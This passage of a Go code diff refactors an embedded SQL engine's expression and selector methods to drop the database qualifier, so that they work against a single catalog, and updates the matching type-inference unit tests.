-2799,10 +2708,10 @@ func (sel *AggColSelector) inferType(cols map[string]ColDescriptor, params map[s return t, nil } - return colSelector.inferType(cols, params, implicitDB, implicitTable) + return colSelector.inferType(cols, params, implicitTable) } -func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if sel.aggFn == COUNT { if t != IntegerType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) @@ -2810,7 +2719,7 @@ func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescr return nil } - colSelector := &ColSelector{db: sel.db, table: sel.table, col: sel.col} + colSelector := &ColSelector{table: sel.table, col: sel.col} if sel.aggFn == SUM || sel.aggFn == AVG { if t != IntegerType && t != Float64Type { @@ -2818,26 +2727,26 @@ func (sel *AggColSelector) requiresType(t SQLValueType, cols map[string]ColDescr } } - return colSelector.requiresType(t, cols, params, implicitDB, implicitTable) + return colSelector.requiresType(t, cols, params, implicitTable) } func (sel *AggColSelector) substitute(params map[string]interface{}) (ValueExp, error) { return sel, nil } -func (sel *AggColSelector) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (sel *AggColSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if row == nil { return nil, fmt.Errorf("%w: no row to evaluate aggregation (%s) in current context", ErrInvalidValue, sel.aggFn) } - v, ok := row.ValuesBySelector[EncodeSelector(sel.resolve(implicitDB, implicitTable))] + v, ok := row.ValuesBySelector[EncodeSelector(sel.resolve(implicitTable))] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, sel.col) } return v, nil } -func (sel *AggColSelector) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (sel *AggColSelector) reduceSelectors(row *Row, implicitTable string) ValueExp { return sel } @@ -2854,9 +2763,9 @@ type NumExp struct { left, right ValueExp } -func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { // First step - check if we can infer the type of sub-expressions - tleft, err := bexp.left.inferType(cols, params, implicitDB, implicitTable) + tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } @@ -2864,7 +2773,7 @@ func (bexp *NumExp) inferType(cols map[string]ColDescriptor, params map[string]S return AnyType, fmt.Errorf("%w: %v or %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, Float64Type, tleft) } - tright, err := bexp.right.inferType(cols, params, implicitDB, implicitTable) + tright, err := bexp.right.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } @@ -2903,29 +2812,29 @@ func restoreParams(params, restore map[string]SQLValueType) { } } -func (bexp *NumExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *NumExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType && t != Float64Type { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, IntegerType, t) } floatArgs := 2 paramsOrig := copyParams(params) - err := bexp.left.requiresType(t, cols, params, implicitDB, implicitTable) + err := bexp.left.requiresType(t, cols, params, implicitTable) if err != nil && t == Float64Type { restoreParams(params, paramsOrig) floatArgs-- - err = bexp.left.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + err = bexp.left.requiresType(IntegerType, cols, params, implicitTable) } if err != nil { return err } paramsOrig = copyParams(params) - err = bexp.right.requiresType(t, cols, params, implicitDB, implicitTable) + err = bexp.right.requiresType(t, cols, params, implicitTable) if err != nil && t == Float64Type { restoreParams(params, paramsOrig) floatArgs-- - err = bexp.right.requiresType(IntegerType, cols, params, implicitDB, implicitTable) + err = bexp.right.requiresType(IntegerType, cols, params, implicitTable) } if err != nil { return err @@ -2956,13 +2865,13 @@ func (bexp *NumExp) substitute(params map[string]interface{}) (ValueExp, error) return bexp, nil } -func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - vl, err := bexp.left.reduce(tx, row, implicitDB, implicitTable) +func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } - vr, err := bexp.right.reduce(tx, row, implicitDB, implicitTable) + vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } @@ -2970,11 +2879,11 @@ func (bexp *NumExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string return applyNumOperator(bexp.op, vl, vr) } -func (bexp *NumExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *NumExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NumExp{ op: bexp.op, - left: bexp.left.reduceSelectors(row, implicitDB, implicitTable), - right: bexp.right.reduceSelectors(row, implicitDB, implicitTable), + left: bexp.left.reduceSelectors(row, implicitTable), + right: bexp.right.reduceSelectors(row, implicitTable), } } @@ -2990,8 +2899,8 @@ type NotBoolExp struct { exp ValueExp } -func (bexp *NotBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - err := bexp.exp.requiresType(BooleanType, cols, params, implicitDB, implicitTable) +func (bexp *NotBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + err := bexp.exp.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } @@ -2999,12 +2908,12 @@ func (bexp *NotBoolExp) inferType(cols map[string]ColDescriptor, params map[stri return BooleanType, nil } -func (bexp *NotBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *NotBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } - return bexp.exp.requiresType(BooleanType, cols, params, implicitDB, implicitTable) + return bexp.exp.requiresType(BooleanType, cols, params, implicitTable) } func (bexp *NotBoolExp) substitute(params map[string]interface{}) (ValueExp, error) { @@ -3018,8 +2927,8 @@ func (bexp *NotBoolExp) substitute(params map[string]interface{}) (ValueExp, err return bexp, nil } -func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - v, err := bexp.exp.reduce(tx, row, implicitDB, implicitTable) +func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + v, err := bexp.exp.reduce(tx, row, implicitTable) if err != nil { return nil, err } @@ -3032,9 +2941,9 @@ func (bexp *NotBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable st return &Bool{val: !r}, nil } -func (bexp *NotBoolExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *NotBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &NotBoolExp{ - exp: bexp.exp.reduceSelectors(row, implicitDB, implicitTable), + exp: bexp.exp.reduceSelectors(row, implicitTable), } } @@ -3052,12 +2961,12 @@ type LikeBoolExp struct { pattern ValueExp } -func (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if bexp.val == nil || bexp.pattern == nil { return AnyType, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } - err := bexp.pattern.requiresType(VarcharType, cols, params, implicitDB, implicitTable) + err := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3065,7 +2974,7 @@ func (bexp *LikeBoolExp) inferType(cols map[string]ColDescriptor, params map[str return BooleanType, nil } -func (bexp *LikeBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *LikeBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if bexp.val == nil || bexp.pattern == nil { return fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } @@ -3074,7 +2983,7 @@ func (bexp *LikeBoolExp) requiresType(t SQLValueType, cols map[string]ColDescrip return fmt.Errorf("error using the value of the LIKE operator as %s: %w", t, ErrInvalidTypes) } - err := bexp.pattern.requiresType(VarcharType, cols, params, implicitDB, implicitTable) + err := bexp.pattern.requiresType(VarcharType, cols, params, implicitTable) if err != nil { return fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3104,12 +3013,12 @@ func (bexp *LikeBoolExp) substitute(params map[string]interface{}) (ValueExp, er }, nil } -func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { if bexp.val == nil || bexp.pattern == nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", ErrInvalidCondition) } - rval, err := bexp.val.reduce(tx, row, implicitDB, implicitTable) + rval, err := bexp.val.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3118,7 +3027,7 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable s return nil, fmt.Errorf("error in 'LIKE' clause: %w (expecting %s)", ErrInvalidTypes, VarcharType) } - rpattern, err := bexp.pattern.reduce(tx, row, implicitDB, implicitTable) + rpattern, err := bexp.pattern.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error in 'LIKE' clause: %w", err) } @@ -3135,7 +3044,7 @@ func (bexp *LikeBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable s return &Bool{val: matched != bexp.notLike}, nil } -func (bexp *LikeBoolExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *LikeBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -3152,13 +3061,13 @@ type CmpBoolExp struct { left, right ValueExp } -func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - tleft, err := bexp.left.inferType(cols, params, implicitDB, implicitTable) +func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + tleft, err := bexp.left.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } - tright, err := bexp.right.inferType(cols, params, implicitDB, implicitTable) + tright, err := bexp.right.inferType(cols, params, implicitTable) if err != nil { return AnyType, err } @@ -3174,14 +3083,14 @@ func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[stri } if tleft == AnyType { - err = bexp.left.requiresType(tright, cols, params, implicitDB, implicitTable) + err = bexp.left.requiresType(tright, cols, params, implicitTable) if err != nil { return AnyType, err } } if tright == AnyType { - err = bexp.right.requiresType(tleft, cols, params, implicitDB, implicitTable) + err = bexp.right.requiresType(tleft, cols, params, implicitTable) if err != nil { return AnyType, err } @@ -3190,12 +3099,12 @@ func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[stri return BooleanType, nil } -func (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *CmpBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } - _, err := bexp.inferType(cols, params, implicitDB, implicitTable) + _, err := bexp.inferType(cols, params, implicitTable) return err } @@ -3217,13 +3126,13 @@ func (bexp *CmpBoolExp) substitute(params map[string]interface{}) (ValueExp, err return bexp, nil } -func (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - vl, err := bexp.left.reduce(tx, row, implicitDB, implicitTable) +func (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } - vr, err := bexp.right.reduce(tx, row, implicitDB, implicitTable) + vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } @@ -3236,11 +3145,11 @@ func (bexp *CmpBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable st return &Bool{val: cmpSatisfiesOp(r, bexp.op)}, nil } -func (bexp *CmpBoolExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *CmpBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &CmpBoolExp{ op: bexp.op, - left: bexp.left.reduceSelectors(row, implicitDB, implicitTable), - right: bexp.right.reduceSelectors(row, implicitDB, implicitTable), + left: bexp.left.reduceSelectors(row, implicitTable), + right: bexp.right.reduceSelectors(row, implicitTable), } } @@ -3266,8 +3175,8 @@ func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[ return nil } - aggFn, db, t, col := sel.resolve(table.db.name, table.name) - if aggFn != "" || db != table.db.name || t != asTable { + aggFn, t, col := sel.resolve(table.name) + if aggFn != "" || t != asTable { return nil } @@ -3285,7 +3194,7 @@ func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[ return err } - rval, err := val.reduce(nil, nil, table.db.name, table.name) + rval, err := val.reduce(nil, nil, table.name) if err != nil { return err } @@ -3382,13 +3291,13 @@ type BinBoolExp struct { left, right ValueExp } -func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - err := bexp.left.requiresType(BooleanType, cols, params, implicitDB, implicitTable) +func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + err := bexp.left.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } - err = bexp.right.requiresType(BooleanType, cols, params, implicitDB, implicitTable) + err = bexp.right.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return AnyType, err } @@ -3396,17 +3305,17 @@ func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[stri return BooleanType, nil } -func (bexp *BinBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *BinBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != BooleanType { return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, BooleanType, t) } - err := bexp.left.requiresType(BooleanType, cols, params, implicitDB, implicitTable) + err := bexp.left.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return err } - err = bexp.right.requiresType(BooleanType, cols, params, implicitDB, implicitTable) + err = bexp.right.requiresType(BooleanType, cols, params, implicitTable) if err != nil { return err } @@ -3431,13 +3340,13 @@ func (bexp *BinBoolExp) substitute(params map[string]interface{}) (ValueExp, err return bexp, nil } -func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - vl, err := bexp.left.reduce(tx, row, implicitDB, implicitTable) +func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + vl, err := bexp.left.reduce(tx, row, implicitTable) if err != nil { return nil, err } - vr, err := bexp.right.reduce(tx, row, implicitDB, implicitTable) + vr, err := bexp.right.reduce(tx, row, implicitTable) if err != nil { return nil, err } @@ -3466,11 +3375,11 @@ func (bexp *BinBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable st return nil, ErrUnexpected } -func (bexp *BinBoolExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *BinBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return &BinBoolExp{ op: bexp.op, - left: bexp.left.reduceSelectors(row, implicitDB, implicitTable), - right: bexp.right.reduceSelectors(row, implicitDB, implicitTable), + left: bexp.left.reduceSelectors(row, implicitTable), + right: bexp.right.reduceSelectors(row, implicitTable), } } @@ -3522,11 +3431,11 @@ type ExistsBoolExp struct { q *SelectStmt } -func (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (bexp *ExistsBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return AnyType, errors.New("not yet supported") } -func (bexp *ExistsBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *ExistsBoolExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { return errors.New("not yet supported") } @@ -3534,11 +3443,11 @@ func (bexp *ExistsBoolExp) substitute(params map[string]interface{}) (ValueExp, return bexp, nil } -func (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (bexp *ExistsBoolExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, errors.New("not yet supported") } -func (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *ExistsBoolExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -3556,11 +3465,11 @@ type InSubQueryExp struct { q *SelectStmt } -func (bexp *InSubQueryExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (bexp *InSubQueryExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } -func (bexp *InSubQueryExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (bexp *InSubQueryExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { return fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } @@ -3568,11 +3477,11 @@ func (bexp *InSubQueryExp) substitute(params map[string]interface{}) (ValueExp, return bexp, nil } -func (bexp *InSubQueryExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (bexp *InSubQueryExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, fmt.Errorf("error inferring type in 'IN' clause: %w", ErrNoSupported) } -func (bexp *InSubQueryExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *InSubQueryExp) reduceSelectors(row *Row, implicitTable string) ValueExp { return bexp } @@ -3591,14 +3500,14 @@ type InListExp struct { values []ValueExp } -func (bexp *InListExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { - t, err := bexp.val.inferType(cols, params, implicitDB, implicitTable) +func (bexp *InListExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + t, err := bexp.val.inferType(cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", err) } for _, v := range bexp.values { - err = v.requiresType(t, cols, params, implicitDB, implicitTable) + err = v.requiresType(t, cols, params, implicitTable) if err != nil { return AnyType, fmt.Errorf("error inferring type in 'IN' clause: %w", err) } @@ -3607,8 +3516,8 @@ func (bexp *InListExp) inferType(cols map[string]ColDescriptor, params map[strin return BooleanType, nil } -func (bexp *InListExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { - _, err := bexp.inferType(cols, params, implicitDB, implicitTable) +func (bexp *InListExp) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + _, err := bexp.inferType(cols, params, implicitTable) if err != nil { return err } @@ -3642,8 +3551,8 @@ func (bexp *InListExp) substitute(params map[string]interface{}) (ValueExp, erro }, nil } -func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { - rval, err := bexp.val.reduce(tx, row, implicitDB, implicitTable) +func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + rval, err := bexp.val.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } @@ -3651,7 +3560,7 @@ func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable str var found bool for _, v := range bexp.values { - rv, err := v.reduce(tx, row, implicitDB, implicitTable) + rv, err := v.reduce(tx, row, implicitTable) if err != nil { return nil, fmt.Errorf("error evaluating 'IN' clause: %w", err) } @@ -3670,15 +3579,15 @@ func (bexp *InListExp) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable str return &Bool{val: found != bexp.notIn}, nil } -func (bexp *InListExp) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (bexp *InListExp) reduceSelectors(row *Row, implicitTable string) ValueExp { values := make([]ValueExp, len(bexp.values)) for i, val := range bexp.values { - values[i] = val.reduceSelectors(row, implicitDB, implicitTable) + values[i] = val.reduceSelectors(row, implicitTable) } return &InListExp{ - val: bexp.val.reduceSelectors(row, implicitDB, implicitTable), + val: bexp.val.reduceSelectors(row, implicitTable), values: values, } } @@ -3774,11 +3683,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLT var dbs []string if tx.engine.multidbHandler == nil { - dbs = make([]string, len(tx.catalog.Databases())) - - for i, db := range tx.catalog.Databases() { - dbs[i] = db.name - } + return nil, ErrUnspecifiedMultiDBHandler } else { dbs, err = tx.engine.multidbHandler.ListDatabases(ctx) if err != nil { @@ -3792,7 +3697,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(ctx context.Context, tx *SQLT values[i] = []ValueExp{&Varchar{val: db}} } - return newValuesRowReader(tx, params, cols, "*", stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { @@ -3806,9 +3711,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, Type: VarcharType, } - db := tx.Database() - - tables := db.GetTables() + tables := tx.catalog.GetTables() values := make([][]ValueExp, len(tables)) @@ -3816,7 +3719,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(ctx context.Context, tx *SQLTx, values[i] = []ValueExp{&Varchar{val: t.name}} } - return newValuesRowReader(tx, params, cols, db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -3868,7 +3771,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, return nil, err } - tableName, err := val.reduce(tx, nil, tx.currentDB.name, "") + tableName, err := val.reduce(tx, nil, "") if err != nil { return nil, err } @@ -3877,7 +3780,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } - table, err := tx.currentDB.GetTableByName(tableName.RawValue().(string)) + table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } @@ -3911,7 +3814,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { @@ -3943,7 +3846,7 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return nil, err } - tableName, err := val.reduce(tx, nil, tx.currentDB.name, "") + tableName, err := val.reduce(tx, nil, "") if err != nil { return nil, err } @@ -3952,7 +3855,7 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, return nil, fmt.Errorf("%w: expected '%s' for table name but type '%s' given instead", ErrIllegalArguments, VarcharType, tableName.Type()) } - table, err := tx.currentDB.GetTableByName(tableName.RawValue().(string)) + table, err := tx.catalog.GetTableByName(tableName.RawValue().(string)) if err != nil { return nil, err } @@ -3968,5 +3871,5 @@ func (stmt *FnDataSourceStmt) resolveListIndexes(ctx context.Context, tx *SQLTx, } } - return newValuesRowReader(tx, params, cols, table.db.name, stmt.Alias(), values) + return newValuesRowReader(tx, params, cols, stmt.Alias(), values) } diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index f1bcf02c06..f5d63d9ed6 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -27,13 +27,13 @@ import ( func TestRequiresTypeColSelectorsValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) - cols["(db1.mytable.id)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ts)"] = ColDescriptor{Type: TimestampType} - cols["(db1.mytable.title)"] = ColDescriptor{Type: VarcharType} - cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} - cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} - cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ts)"] = ColDescriptor{Type: TimestampType} + cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} + cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} + cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} + cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -41,124 +41,110 @@ func TestRequiresTypeColSelectorsValueExp(t *testing.T) { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType - implicitDB string implicitTable string requiredType SQLValueType expectedError error }{ { - exp: &ColSelector{db: "db1", table: "mytable", col: "id"}, + exp: &ColSelector{table: "mytable", col: "id"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { - exp: &ColSelector{db: "db1", table: "mytable", col: "id1"}, + exp: &ColSelector{table: "mytable", col: "id1"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrColumnDoesNotExist, }, { - exp: &ColSelector{db: "db1", table: "mytable", col: "id"}, + exp: &ColSelector{table: "mytable", col: "id"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { - exp: &ColSelector{db: "db1", table: "mytable", col: "ts"}, + exp: &ColSelector{table: "mytable", col: "ts"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: TimestampType, expectedError: nil, }, { - exp: &ColSelector{db: "db1", table: "mytable", col: "ts"}, + exp: &ColSelector{table: "mytable", col: "ts"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, }, { - exp: &AggColSelector{aggFn: "COUNT", db: "db1", table: "mytable", col: "*"}, + exp: &AggColSelector{aggFn: "COUNT", table: "mytable", col: "*"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { - exp: &AggColSelector{aggFn: "COUNT", db: "db1", table: "mytable", col: "*"}, + exp: &AggColSelector{aggFn: "COUNT", table: "mytable", col: "*"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, }, { - exp: &AggColSelector{aggFn: "MIN", db: "db1", table: "mytable", col: "title"}, + exp: &AggColSelector{aggFn: "MIN", table: "mytable", col: "title"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, }, { - exp: &AggColSelector{aggFn: "MIN", db: "db1", table: "mytable", col: "title1"}, + exp: &AggColSelector{aggFn: "MIN", table: "mytable", col: "title1"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrColumnDoesNotExist, }, { - exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "id"}, + exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "id"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, }, { - exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "title"}, + exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "title"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: 